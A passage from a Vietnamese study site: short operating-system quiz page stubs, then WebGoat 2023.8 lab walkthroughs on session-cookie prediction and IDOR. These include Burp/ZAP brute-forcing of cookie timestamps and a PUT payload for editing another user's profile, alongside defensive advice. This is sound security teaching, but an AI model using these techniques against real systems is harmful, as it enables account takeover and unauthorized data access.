`2^p2` - Kích thước bảng trang = số mục × kích thước một mục - `EAT = hit × (t_TLB + t_mem) + miss × (t_TLB + 2 × t_mem)` — trượt TLB vẫn tốn thời gian tra TLB ============================================================================ # Trắc nghiệm bộ nhớ ảo và thay trang URL: https://tiennhm.io.vn/docs/operating-system/quiz/virtual-memory Source: docs/01-operating-system/05-quiz/07.virtual-memory.mdx Description: Trắc nghiệm bộ nhớ ảo - demand paging, bit valid-invalid, lỗi trang, thrashing, nghịch lý Belady và thời gian truy cập hiệu quả. Tags: os, quiz, virtual-memory # Trắc nghiệm: Bộ nhớ ảo và thay trang Phần lý thuyết ở đây bổ trợ cho bài Các thuật toán thay trang — bài đó dạy cách chạy FIFO, LRU, Optimal từng bước, còn trang này kiểm tra hiểu biết về cơ chế phía sau: bit valid-invalid, dirty bit, thrashing. Cấu trúc bảng trang và TLB nằm ở trắc nghiệm phân trang. ============================================================================ # Trắc nghiệm lập lịch đĩa và I/O URL: https://tiennhm.io.vn/docs/operating-system/quiz/disk-scheduling Source: docs/01-operating-system/05-quiz/08.disk-scheduling.mdx Description: Trắc nghiệm hệ thống I/O và lập lịch đĩa - seek time, rotational latency, FCFS, SSTF, SCAN, C-SCAN, kèm bài tập tính tổng quãng di chuyển đầu đĩa. Tags: os, quiz, disk-scheduling # Trắc nghiệm: Lập lịch đĩa và I/O Toàn bộ các thuật toán lập lịch đĩa chỉ nhắm một mục tiêu: giảm seek time, vì đó là thành phần cơ học đắt nhất trong một lần truy cập đĩa. Dữ liệu nằm ở đâu trên đĩa là chuyện của hệ thống file. Tip: Nhớ nhanh bốn thuật toán - FCFS — công bằng, đầu đĩa quăng qua quăng lại, tệ nhất về quãng đường - SSTF — tham lam chọn yêu cầu gần nhất, gây starvation - SCAN — quét một mạch rồi đảo chiều, phục vụ cả hai chiều - C-SCAN — chỉ phục vụ một chiều, quay về không phục vụ ai, thời gian chờ đồng đều hơn ============================================================================ # Trắc nghiệm hệ thống file URL: https://tiennhm.io.vn/docs/operating-system/quiz/file-system Source: docs/01-operating-system/05-quiz/09.file-system.mdx Description: Trắc nghiệm hệ thống file - FCB, các lớp chức năng, volume control block, bảng FAT, giới hạn của FAT32 và NTFS. Tags: os, quiz, file-system # Trắc nghiệm: Hệ thống file Phần này nặng về ghi nhớ cấu trúc và con số. Ba nhóm hay bị lẫn nhất: boot block / volume control block / file control block, và ba giới hạn của FAT32 (file 4 GB, phân vùng 32 GB theo Windows, 2 TB lý thuyết). Cách hệ điều hành sắp thứ tự đọc ghi xuống đĩa nằm ở trắc nghiệm lập lịch đĩa. ## Bài liên quan - Markdown Cheat Sheet: file .md là gì, cách tạo và viết README trên GitHub — File .md là file gì, mở bằng gì và tạo như thế nào — rồi tới bảng tra cú pháp Markdown đầy đủ để viết README trên GitHub: heading, danh sách, liên… ============================================================================ # Đề thi thử Hệ điều hành URL: https://tiennhm.io.vn/docs/operating-system/quiz/mock-exam Source: docs/01-operating-system/05-quiz/99.mock-exam.mdx Description: Đề thi thử trắc nghiệm Hệ điều hành trộn ngẫu nhiên từ toàn bộ ngân hàng câu hỏi, có đếm giờ, chấm điểm và giải thích chi tiết từng câu. Tags: os, quiz, mock-exam # Đề thi thử Hệ điều hành Đề 30 câu trộn ngẫu nhiên từ toàn bộ ngân hàng câu hỏi, mặc định chạy ở chế độ thi: có đếm giờ, làm xong mới chấm. Bấm Làm lại để bốc một đề khác. Làm sai nhiều ở chương nào thì quay lại luyện riêng chương đó: | Chương | Nội dung chính | | --- | --- | | Tổng quan hệ điều hành | chức năng HĐH, system call, ngắt, IPC | | Tiến trình và lập lịch CPU | fork, PCB, FCFS, SJF, SRTF, Round Robin | | Đồng bộ tiến trình | miền găng, Peterson, mutex, semaphore | | Deadlock | bốn điều kiện Coffman, Banker, đồ thị RAG | | Quản lý bộ nhớ | MMU, phân mảnh, First/Best/Worst-Fit, phân đoạn | | Phân trang và TLB | bảng trang đa cấp, dịch địa chỉ, EAT | | Bộ nhớ ảo và thay trang | demand paging, FIFO, LRU, OPT, thrashing | | Lập lịch đĩa và I/O | seek time, SSTF, SCAN, C-SCAN | | Hệ thống file | FCB, FAT, NTFS, phân vùng | ============================================================================ # 1.01 | Hijack a session URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/hijack-a-session-01 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Hijack-a-session-01.md Description: Bài viết này sẽ hướng dẫn cách tấn công Hijack a session trên WebGoat 2023.8 Tags: web-security, webgoat, broken-access-control, hijack-a-session, webgoat-2023.8 ## 1. Khái niệm Khi một ứng dụng web tạo ra Session ID không đủ phức tạp hoặc ngẫu nhiên, hacker có thể đoán hoặc brute-force giá trị này để chiếm quyền truy cập vào phiên người dùng hợp lệ. Đây là một dạng tấn công Session Hijacking (Chiếm đoạt phiên). Cách tấn công phổ biến: - Brute-force Session ID: Nếu Session ID quá đơn giản hoặc dễ đoán (ví dụ: dạng số tuần tự `1001`, `1002`, `1003`...), hacker có thể thử từng giá trị đến khi trùng khớp. - Session Fixation: Kẻ tấn công gán một Session ID có sẵn cho nạn nhân trước khi họ đăng nhập, từ đó chiếm quyền điều khiển phiên. - Session Theft: Nếu ứng dụng không bảo vệ Session ID tốt (ví dụ: lưu trên URL thay vì Cookie, không có cơ chế bảo mật như `HttpOnly`, `Secure`...), hacker có thể đánh cắp Session ID bằng cách sử dụng XSS hoặc MITM. Ba hướng tấn công phổ biến đều dẫn tới cùng một đích: chiếm phiên của người dùng hợp lệ. [code mermaid] flowchart TD G["Session ID yếu hoặc quản lý phiên kém"] --> A["Brute-force Session ID số tuần tự dễ đoán"] G --> B["Session Fixation: gán sẵn ID cho nạn nhân"] G --> C["Session Theft: đánh cắp qua XSS hoặc MITM"] A --> H["Chiếm phiên người dùng hợp lệ"] B --> H C --> H [/code] ## 2. Mục tiêu bài tập Mục tiêu của bạn trong bài tập này là chiếm quyền truy cập vào một phiên đã xác thực của người dùng khác bằng cách khai thác lỗ hổng về quản lý phiên. ## Bài liên quan - Đổi id trên URL ra dữ liệu người khác? Chặn IDOR ở một tầng duy nhất — IDOR xảy ra khi API nhận id từ request rồi đọc thẳng bản ghi mà không hỏi xem người gọi có sở hữu bản ghi đó không. ============================================================================ # 1.02 | Hijack a session URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/hijack-a-session-02 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Hijack-a-session-02.md Description: Bài này tập trung vào dự đoán giá trị của cookie hijackcookie, một kỹ thuật tấn công kiểu Session Prediction (Dự đoán phiên đăng nhập). Mục tiêu là xác định. Tags: web-security, webgoat, broken-access-control, hijack-a-session, webgoat-2023.8 ## 🚀 1. Tóm tắt bài học - `hijack_cookie` có dạng "số tuần tự"-"timestamp Unix". - Số tuần tự tăng đều (thường +1 hoặc +2). - Timestamp Unix tương ứng với thời gian tạo session. - Bằng cách quan sát nhiều cookie, có thể dự đoán một giá trị hợp lệ. [code mermaid] flowchart TD A["Thu thập nhiều cookie hijack_cookie"] --> B["Tách thành: số tuần tự - timestamp"] B --> C["Số tuần tự tăng đều (+1 / +2)"] B --> D["Timestamp Unix = thời điểm tạo session"] C --> E["Dự đoán giá trị xen giữa"] D --> E E --> F["Brute-force timestamp quanh phiên hợp lệ"] F --> G["Mạo danh người dùng"] [/code] Bài này tập trung vào dự đoán giá trị của cookie `hijack_cookie`, một kỹ thuật tấn công kiểu Session Prediction (Dự đoán phiên đăng nhập). Mục tiêu là xác định cách hệ thống tạo cookie này và dự đoán một giá trị hợp lệ để mạo danh người dùng hợp lệ. ## 💡 2. Hints - Kiểm tra giá trị của cookie `hijack_cookie` và xem xét về định dạng của nó. - Cookie `hijack_cookie` được chia thành hai phần và có định dạng như sau `"long number"-"another long number"`. - Cookie `hijack_cookie` được chia thành hai phần và có định dạng như sau `"sequential number"-"unix epoch time"`. - Thử gửi nhiều requests để buộc ứng dụng tạo ra các cookie mới và kiểm tra xem có theo 1 mẫu định dạng chung nào không. - Đôi khi, người dùng được ủy quyền đăng nhập vào ứng dụng. ## 📌 3. Các bước tấn công ### 1️⃣ Thu thập dữ liệu về `hijack_cookie` - Bật Burp Suite/ZAP để theo dõi request. - Gửi nhiều request đến `/WebGoat/HijackSession` để thu thập cookie. - Ghi lại giá trị `hijack_cookie` nhận được. Ví dụ các giá trị nhận được: [code] 8538432081538402370-1717442040234 8538432081538402372-1717442064847 8538432081538402373-1717442084267 [/code] Nhận xét: - Phần đầu tiên (`8538432081538402370`) tăng dần theo từng session. - Phần sau (`1717442040234`) là timestamp theo Unix Epoch. ### 2️⃣ Dự đoán cookie hợp lệ Dựa trên các mẫu thu thập được, ta có thể dự đoán: - Số tuần tự tiếp theo: Nếu có `8538432081538402372`, ta thử `8538432081538402371` (số xen giữa). - Timestamp: Chọn giá trị gần nhất trong khoảng thời gian session hợp lệ. Giả sử số tuần tự là 8538432081538402371, timestamp hợp lệ có thể nằm giữa `1717442040234` và `1717442064847` ### 3️⃣ Tấn công Brute Force #### Sử dụng Burp Suite: 1. Chọn `Intruder`, chọn request chứa cookie. 2. Clear vị trí fuzz, chọn phần timestamp để brute-force. 3. Payload: Set khoảng giá trị cho timestamp. 4. Chạy Attack, kiểm tra response hợp lệ. #### Sử dụng ZAP Fuzzer: 1. Chỉnh sửa `hijack_cookie` theo mẫu: [code] hijack_cookie=8538432081538402371-1717442040234 [/code] 2. Dùng ZAP Fuzzer để kiểm tra các giá trị timestamp gần đúng. 3. Nếu thành công, hệ thống sẽ xác nhận session hợp lệ. ## 🛡️ 4. Cách phòng tránh ✅ Sử dụng Session Token ngẫu nhiên, không dựa trên quy tắc dễ đoán. ✅ Mã hóa session ID thay vì để dưới dạng số dễ đoán. ✅ Hết hạn session sau thời gian ngắn để giảm thiểu tấn công brute-force. ✅ Ràng buộc session với IP hoặc User-Agent. ✅ Sử dụng `Secure`, `HttpOnly` và `SameSite` cho cookie. ## 🎯 Kết luận Bài này dạy cách phân tích và dự đoán session cookie để mạo danh người dùng. Đây là một dạng tấn công phổ biến trong bảo mật ứng dụng web và nhấn mạnh tầm quan trọng của việc sử dụng session an toàn. 🚀 Xem thêm tại đây (https://docs.cycubix.com/application-security-series/web-application-security-essentials/solutions/a5-broken-access-control/a1-2021-or-hijack-a-session-or-cycubix-docs/a1-2021-or-hijack-a-session-2-or-cycubix-docs). ============================================================================ # 2.01 | Insecure Direct Object References URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/insecure-direct-object-references-01 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Insecure-Direct-Object-References-01.md Description: Bài viết này sẽ hướng dẫn cách tấn công Insecure Direct Object References trên WebGoat 2023.8 Tags: web-security, webgoat, broken-access-control, insecure-direct-object-references, webgoat-2023.8 > Lỗ hổng Insecure Direct Object References (IDOR) - Tham chiếu đối tượng trực tiếp không an toàn ## 💡 1. Giới thiệu về Direct Object References Direct Object References (Tham chiếu đối tượng trực tiếp) xảy ra khi một ứng dụng sử dụng dữ liệu đầu vào từ phía người dùng để truy cập trực tiếp vào các đối tượng như tệp tin, bản ghi cơ sở dữ liệu hoặc tài nguyên khác. Lỗ hổng Insecure Direct Object References (IDOR) xuất hiện khi ứng dụng cho phép người dùng truy cập trực tiếp vào các đối tượng dựa trên dữ liệu cung cấp, nhưng không kiểm tra quyền hạn của người dùng. Điều này có thể dẫn đến: - Bỏ qua cơ chế xác thực (Authorization Bypass) - Tiết lộ dữ liệu nhạy cảm - Thực hiện các thao tác trái phép Toàn bộ lỗ hổng nằm ở một bước kiểm tra bị bỏ qua: File gốc: nền sáng · nền tối ## 📌 2. Ví dụ về IDOR Dưới đây là một số ví dụ minh họa cách IDOR có thể bị khai thác: ### Ví dụ 1: Truy cập hồ sơ người dùng Một ứng dụng web cho phép người dùng xem hồ sơ cá nhân bằng cách chỉ định ID trong URL: [code plaintext] http://example.com/profile?id=12345 [/code] Nếu một kẻ tấn công thay đổi tham số `id` thành một giá trị khác (`id=12346`), và ứng dụng không kiểm tra quyền truy cập, kẻ tấn công có thể xem hồ sơ của người dùng khác: [code plaintext] http://example.com/profile?id=12346 [/code] ### Ví dụ 2: Tải xuống tài liệu Một ứng dụng cho phép tải tài liệu bằng cách cung cấp `documentId` trong URL: [code plaintext] http://example.com/download?documentId=789 [/code] Nếu ứng dụng không kiểm tra quyền, kẻ tấn công có thể thay đổi ID để tải xuống tài liệu không thuộc về họ: [code plaintext] http://example.com/download?documentId=790 [/code] ### Ví dụ 3: Xem đơn hàng Một trang thương mại điện tử cho phép người dùng xem chi tiết đơn hàng bằng cách truyền `orderId` trong URL: [code plaintext] http://example.com/order?orderId=456 [/code] Nếu hệ thống không kiểm tra quyền sở hữu đơn hàng, kẻ tấn công có thể xem đơn hàng của người khác bằng cách thay đổi `orderId`: [code plaintext] http://example.com/order?orderId=457 [/code] ### Ví dụ 4: Truy cập tệp tin Một ứng dụng web cho phép người dùng truy cập tệp tin bằng cách chỉ định tên tệp trong URL: [code plaintext] http://example.com/files?file=report.pdf [/code] Nếu ứng dụng không kiểm tra quyền truy cập, kẻ tấn công có thể yêu cầu tệp tin nhạy cảm: [code plaintext] http://example.com/files?file=confidential.pdf [/code] ### Ví dụ 5: Các phương thức khác cũng có thể bị ảnh hưởng Không chỉ giới hạn ở phương thức GET, các phương thức POST, PUT, DELETE cũng có thể bị khai thác. Ví dụ, nếu ứng dụng cho phép xóa tài khoản bằng cách gửi yêu cầu DELETE như sau: [code http] DELETE /api/user/12345 HTTP/1.1 Host: example.com Authorization: Bearer [/code] Nếu kẻ tấn công thay đổi `12345` thành `12346` và hệ thống không kiểm tra quyền, họ có thể xóa tài khoản người khác. ## 🛡️ 4. Cách phòng chống IDOR ✅ Xác thực & kiểm tra quyền hạn - Luôn kiểm tra xem người dùng có quyền truy cập đối tượng hay không trước khi hiển thị hoặc thực hiện thao tác. ✅ Không sử dụng ID tuần tự dễ đoán - Sử dụng UUID (Universally Unique Identifier) thay vì số ID dễ đoán. > Ví dụ: Thay vì dùng `id=12345`, hãy sử dụng UUID như `id=d4f6b8e9-5e2c-47bb-9d2f-123456789abc` để khó đoán hơn. ✅ Kiểm tra quyền phía server - Không chỉ dựa vào kiểm tra phía client. - Thực hiện kiểm tra quyền trên backend trước khi cho phép truy cập dữ liệu. ✅ Áp dụng kiểm soát truy cập - Ví dụ: Chỉ chủ sở hữu đơn hàng mới có thể xem hoặc sửa đơn hàng. ✅ Log lại các yêu cầu bất thường - Ghi lại các request truy cập bất thường để phát hiện hành vi tấn công. ## 📖 5. Tài liệu tham khảo - OWASP Testing for Insecure Direct Object References (https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)) - OWASP Top 10-2017 A5: Broken Access Control (https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control) - OWASP IDOR Prevention Cheat Sheet (https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html) - CWE-639: Authorization Bypass (http://cwe.mitre.org/data/definitions/639.html) - OWASP cheatsheet on IDOR (https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html) ## Bài liên quan - Đổi id trên URL ra dữ liệu người khác? Chặn IDOR ở một tầng duy nhất — IDOR xảy ra khi API nhận id từ request rồi đọc thẳng bản ghi mà không hỏi xem người gọi có sở hữu bản ghi đó không. ============================================================================ # 2.02 | Insecure Direct Object References URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/insecure-direct-object-references-02 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Insecure-Direct-Object-References-02.md Description: Nhiều lỗ hổng kiểm soát truy cập có thể bị khai thác bởi một người dùng đã xác thực nhưng không được cấp quyền hợp lệ. Tags: web-security, webgoat, broken-access-control, insecure-direct-object-references, webgoat-2023.8 > Authenticate First, Abuse Authorization Later (Xác thực trước, lạm dụng quyền sau). Nhiều lỗ hổng kiểm soát truy cập có thể bị khai thác bởi một người dùng đã xác thực nhưng không được cấp quyền hợp lệ. Vì vậy, trước tiên chúng ta sẽ xác thực hợp lệ vào hệ thống. Sau đó, chúng ta sẽ tìm cách bypass (vượt qua) hoặc lạm dụng cơ chế phân quyền để truy cập vào tài nguyên mà chúng ta không được phép. #### Thông tin đăng nhập - ID: `tom` - Mật khẩu: `cat` (Hệ thống này vốn dĩ không an toàn, đúng không? 😃) Sau khi đăng nhập thành công, hãy tiếp tục khám phá màn hình tiếp theo để tìm cách khai thác lỗ hổng phân quyền! 🚀 ============================================================================ # 2.03 | Insecure Direct Object References URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/insecure-direct-object-references-03 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Insecure-Direct-Object-References-03.md Description: Một nguyên tắc quan trọng trong tấn công bảo mật ứng dụng (AppSec) là so sánh sự khác biệt giữa phản hồi thô từ server và dữ liệu hiển thị trên giao diện. Tags: web-security, webgoat, broken-access-control, insecure-direct-object-references, webgoat-2023.8 > Quan sát sự khác biệt & hành vi Một nguyên tắc quan trọng trong tấn công bảo mật ứng dụng (AppSec) là so sánh sự khác biệt giữa phản hồi thô từ server và dữ liệu hiển thị trên giao diện người dùng. Nói cách khác (như bạn có thể đã nhận thấy trong bài học về lọc dữ liệu phía client), server có thể trả về nhiều dữ liệu hơn so với những gì thực tế được hiển thị trên trang web. Điều này có thể tiết lộ thông tin nhạy cảm mà attacker có thể khai thác. #### Nhiệm vụ - Xem xét trang hồ sơ bên dưới. [code plaintext] name:Tom Cat color:yellow size:small [/code] - Kiểm tra phản hồi từ server và so sánh với dữ liệu hiển thị trên giao diện. - Nhập vào ô bên dưới hai thuộc tính có trong phản hồi từ server nhưng không xuất hiện trên giao diện. 🚀 Gợi ý: - Sử dụng Developer Tools (`F12` trên trình duyệt) để xem phản hồi từ server trong tab Network. - Kiểm tra JSON hoặc HTML response từ server để phát hiện các thuộc tính bị ẩn. [code json] { "role" : 3, "color" : "yellow", "size" : "small", "name" : "Tom Cat", "userId" : "2342384" } [/code] Vậy 2 thuộc tính không xuất hiện trên giao diện là `role` và `userId`. ## Bài liên quan - Đổi id trên URL ra dữ liệu người khác? Chặn IDOR ở một tầng duy nhất — IDOR xảy ra khi API nhận id từ request rồi đọc thẳng bản ghi mà không hỏi xem người gọi có sở hữu bản ghi đó không. ============================================================================ # 2.04 | Insecure Direct Object References URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/insecure-direct-object-references-04 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Insecure-Direct-Object-References-04.md Description: Ứng dụng này dường như tuân theo mô hình RESTful, trong đó mỗi tài nguyên có thể được truy cập thông qua một đường dẫn cụ thể. Tags: web-security, webgoat, broken-access-control, insecure-direct-object-references, webgoat-2023.8 > Dự đoán & đoán mẫu URL #### Xem hồ sơ của bạn theo một cách khác Ứng dụng này dường như tuân theo mô hình RESTful, trong đó mỗi tài nguyên có thể được truy cập thông qua một đường dẫn cụ thể. Trong nhiều hệ thống, người dùng có thể có vai trò cao hơn (admin, manager,...) cho phép họ truy cập hồ sơ của người khác. Khi đó, chỉ `/profile` sẽ không đủ vì dữ liệu xác thực của phiên đăng nhập hiện tại không chỉ định rõ hồ sơ nào đang được truy vấn. #### Nhiệm vụ Dựa vào cách đặt URL của hệ thống, hãy suy nghĩ về một mẫu đường dẫn hợp lý để truy cập hồ sơ cá nhân theo cách trực tiếp bằng Direct Object Reference (DOR). Luồng truy cập hồ sơ qua Direct Object Reference: lấy userId từ phản hồi trước, rồi ghép vào URL. [code mermaid] sequenceDiagram participant A as Người dùng Tom participant S as Server WebGoat A->>S: GET /WebGoat/IDOR/profile S-->>A: Hồ sơ kèm userId 2342384 A->>S: GET /WebGoat/IDOR/profile/2342384 S-->>A: 200 OK - xem hồ sơ qua Direct Object Reference [/code] #### Gợi ý - Trong nhiều hệ thống, hồ sơ cá nhân có thể được truy cập bằng cách thêm ID người dùng vào URL, ví dụ: [code] WebGoat/profile/12345 [/code] - Hoặc có thể sử dụng một từ khóa phổ biến như `"me"`: [code] WebGoat/profile/me [/code] - Nếu ứng dụng sử dụng truy vấn GET: [code] WebGoat/profile?id=12345 [/code] ### Gợi ý 🔹 Kiểm tra yêu cầu trước đó cho hồ sơ cá nhân 🔹 Bạn cần dữ liệu từ yêu cầu trước đó để biết ID của mình 🔹 Thử nối ID của bạn vào yêu cầu trước đó theo mẫu: [code plaintext] WebGoat/IDOR/profile/{yourId} [/code] ### Giải pháp #### 1️⃣ Sử dụng Developer Tools (F12) - Mở tab "Network" trên Developer Tools - Quan sát các request khi thực hiện hành động trên trang - Tìm request chứa user ID trong URL hoặc tham số trong request #### 2️⃣ Sử dụng ZAP - Kiểm tra đường dẫn trong các request - Xác định mẫu URL mà ứng dụng sử dụng để truy vấn hồ sơ ### Kết quả Từ bài trước, ta biết rằng user ID là `2342384`. Do đó, đường dẫn hợp lệ để truy cập hồ sơ cá nhân sẽ là: [code plaintext] WebGoat/IDOR/profile/2342384 [/code] 🚀 Thử nhập đường dẫn trên để kiểm tra! Kết quả: [code plaintext] Congratulations, you have used the alternate Url/route to view your own profile. {role=3, color=yellow, size=small, name=Tom Cat, userId=2342384} [/code] ## Bài liên quan - Đổi id trên URL ra dữ liệu người khác? Chặn IDOR ở một tầng duy nhất — IDOR xảy ra khi API nhận id từ request rồi đọc thẳng bản ghi mà không hỏi xem người gọi có sở hữu bản ghi đó không. ============================================================================ # 2.05 | Insecure Direct Object References URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/insecure-direct-object-references-05 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Insecure-Direct-Object-References-05.md Description: Các ứng dụng RESTful thường thay đổi phương thức HTTP để thực hiện các hành động khác nhau. Tags: web-security, webgoat, broken-access-control, insecure-direct-object-references, webgoat-2023.8 > Playing with the Patterns #### 1️⃣ Xem hồ sơ của người khác Bạn đã tìm ra cách xem hồ sơ của mình bằng đường dẫn: [code plaintext] WebGoat/IDOR/profile/2342384 [/code] Tương tự, để xem hồ sơ của người khác, bạn có thể thay đổi ID trong URL. #### Cách thực hiện - Cách 1: Dùng Developer Tools (F12) → Intercept request và thay đổi ID - Cách 2: Dùng trình duyệt và nhập URL theo mẫu: [code plaintext] WebGoat/IDOR/profile/{otherUserId} [/code] - Cách 3: Sử dụng công cụ như Postman hoặc cURL để gửi yêu cầu GET Từ việc xem được hồ sơ của mình, kẻ tấn công đổi id để xem, và đổi method để sửa hồ sơ người khác: [code mermaid] flowchart TD A["Biết mẫu URL /IDOR/profile/ID và id của mình"] --> B["Đổi id sang id người khác"] B --> C["GET /IDOR/profile/otherId"] C --> D["Xem hồ sơ người khác - IDOR ngang"] A --> E["Đổi method từ GET sang PUT"] E --> F["PUT /IDOR/profile/otherId với payload mới"] F --> G["Sửa hồ sơ Buffalo Bill: màu red, hạ quyền"] [/code] #### 2️⃣ Chỉnh sửa hồ sơ người khác Các ứng dụng RESTful thường thay đổi phương thức HTTP để thực hiện các hành động khác nhau. Ví dụ: - `GET /profile/{id}` → Xem hồ sơ - `PUT /profile/{id}` → Chỉnh sửa hồ sơ 💡 Mục tiêu: - Chỉnh sửa hồ sơ của Buffalo Bill - Hạ cấp quyền của người dùng (vì quyền cao hơn thường có ID thấp) - Thay đổi màu sắc thành `"red"` #### Cách thực hiện 1️⃣ Intercept request bằng Burp Suite/ZAP và thay đổi ID 2️⃣ Thay đổi phương thức từ `GET` → `PUT` 3️⃣ Gửi payload mới #### 📌 Ví dụ Payload (`PUT` Request) [code json] { "id": 123456, "username": "Buffalo Bill", "role": "user", "color": "red" } [/code] 🛑 Lưu ý: - Nếu ứng dụng không xác thực quyền đúng cách, bạn có thể sửa thông tin của người khác! - Đây là một lỗ hổng Insecure Direct Object References (IDOR) phổ biến. 🚀 Thử ngay và quan sát kết quả! Xem chi tiết tại đây (https://docs.cycubix.com/application-security-series/web-application-security-essentials/solutions/a5-broken-access-control/a1-2021-or-insecure-direct-object-reference-or-cycubix-docs/insecure-direct-object-reference-5). ## Bài liên quan - Đổi id trên URL ra dữ liệu người khác? Chặn IDOR ở một tầng duy nhất — IDOR xảy ra khi API nhận id từ request rồi đọc thẳng bản ghi mà không hỏi xem người gọi có sở hữu bản ghi đó không. ============================================================================ # 2.06 | Insecure Direct Object References URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/insecure-direct-object-references-06 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Insecure-Direct-Object-References-06.md Description: Câu hỏi quan trọng: Bạn đã tài liệu hóa các quy tắc kiểm soát truy cập chưa? Tags: web-security, webgoat, broken-access-control, insecure-direct-object-references, webgoat-2023.8 Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/insecure-direct-object-references-06 > Bảo vệ Tham chiếu Đối tượng (Secure Object References) ## 1️⃣ Kiểm soát truy cập là gì? 💡 Câu hỏi quan trọng: Bạn đã tài liệu hóa các quy tắc kiểm soát truy cập chưa? - Nếu chưa, làm sao bạn có thể thực thi nó? Kiểm soát truy cập (Access Control) là tập hợp các quy tắc giúp xác định ai có quyền truy cập dữ liệu nào. Nó có thể bị ảnh hưởng bởi: ✅ Logic liên quan đến business của ứng dụng ✅ Luật bảo mật dữ liệu & quyền riêng tư ## 2️⃣ Kiểm soát truy cập ngang và dọc 🔹 Kiểm soát truy cập ngang (Horizontal Access Control - HAC) - Xảy ra giữa các người dùng có cùng quyền hạn - VD: Người dùng A có thể xem dữ liệu của người dùng B 🔹 Kiểm soát truy cập dọc (Vertical Access Control - VAC) - Liên quan đến sự khác biệt quyền hạn giữa các cấp - VD: Người dùng thông thường không thể truy cập vào trang admin 📌 Cả hai loại kiểm soát này cần được thực thi! Một yêu cầu an toàn phải qua cả hai lớp kiểm soát: dọc (đúng cấp quyền) và ngang (đúng chủ sở hữu). [code mermaid] flowchart TD R["Yêu cầu truy cập tài nguyên"] --> V{"Kiểm soát dọc VAC: đúng cấp quyền?"} V -->|"Không, user thường gọi trang admin"| D1["Từ chối - 403"] V -->|"Có"| H{"Kiểm soát ngang HAC: đúng chủ sở hữu?"} H -->|"Không, xem dữ liệu người khác"| D2["Từ chối - 403"] H -->|"Có"| OK["Cho phép truy cập"] [/code] ## 3️⃣ Ví dụ về Ma trận Kiểm soát Truy cập | Endpoint | Phương thức | Mô tả | Quyền hạn & Quy tắc | Lưu ý | |-------------------|-----------------|-----------|-------------------------|---------| | `/profile` | `GET` | Xem hồ sơ của chính mình | Chỉ người dùng đã đăng nhập | Admin phải sử dụng URL khác để xem hồ sơ người khác | | `/profile/{id}` | `GET` | Xem hồ sơ của user khác | Người dùng chỉ được xem hồ sơ của chính mình; Admin có thể xem hồ sơ khác | Không có | | `/profile/{id}` | `PUT` | Sửa hồ sơ | Người dùng chỉ có thể chỉnh sửa hồ sơ của chính họ; Admin có thể chỉnh sửa | Hành động chỉnh sửa của admin phải được ghi log | ## 4️⃣ Ghi log & Giám sát truy cập 📌 Tại sao cần ghi log? - Ghi lại hoạt động của admin khi chỉnh sửa dữ liệu người khác - Theo dõi các hành vi vi phạm quyền truy cập 🛑 Ví dụ cần log: ✔️ Admin chỉnh sửa hồ sơ người khác ✔️ Một user cố truy cập hồ sơ của người khác mà không có quyền ✔️ Phát hiện hành vi cố gắng tấn công ## 5️⃣ Tham chiếu Gián tiếp (Indirect References) để bảo mật 🔒 Cách bảo vệ ID bằng tham chiếu gián tiếp: - Không sử dụng ID thật trong URL (`/profile/1234`) - Dùng một mã hash hoặc mã hóa để thay thế (`/profile/A1B2C3D4`) - Trên server, ánh xạ giá trị mã hóa về ID thực 📌 Ví dụ: 🔹 Tham chiếu trực tiếp (Dễ bị tấn công IDOR) [code] http://example.com/profile?id=1234 [/code] 🔹 Tham chiếu gián tiếp (Bảo mật hơn) [code] http://example.com/profile?id=8f3e9d72a1 [/code] 🛑 Lưu ý: Phương pháp này không thể bảo vệ hoàn toàn vì attacker có thể brute-force hoặc giải mã. Nó chỉ là một lớp bảo vệ bổ sung. ## 6️⃣ Kiểm soát truy cập trong API & RESTful Services 🔥 Lỗ hổng thường gặp: ❌ API chỉ dựa vào khóa tĩnh để kiểm soát truy cập ❌ API không xác thực quyền truy cập đủ mạnh ✅ Giải pháp: - Sử dụng JSON Web Tokens (JWT) có chữ ký số (jwt.io (https://jwt.io/)) - Ánh xạ quyền truy cập với các claims trong JWT - Secure Token Binding để bảo mật request headers (IETF draft (https://tools.ietf.org/html/draft-ietf-tokbind-protocol-10)) ## 7️⃣Ví dụ thực tế về lỗ hổng & giải pháp bảo mật (IDOR, Access Control) ### 🚨 7.1. Lỗ hổng IDOR (Insecure Direct Object References) #### 📌 Tình huống: Giả sử hệ thống có endpoint API cho phép người dùng xem hồ sơ cá nhân: [code plaintext] GET /profile/1234 [/code] - Nếu người dùng Alice có `userId = 1234`, họ có thể truy cập hồ sơ của mình. - Tuy nhiên, nếu Alice thay đổi `1234` thành `5678` (ID của Bob), họ vẫn có thể xem hồ sơ của Bob, dù không có quyền! 📌 Đây là lỗi IDOR (Tham chiếu đối tượng không an toàn) Attacker có thể thử nhiều `userId` khác nhau để đánh cắp dữ liệu người dùng. #### ✅ 🔒 Giải pháp bảo mật 🔹 1. Kiểm tra quyền trong Backend - Trước khi trả về dữ 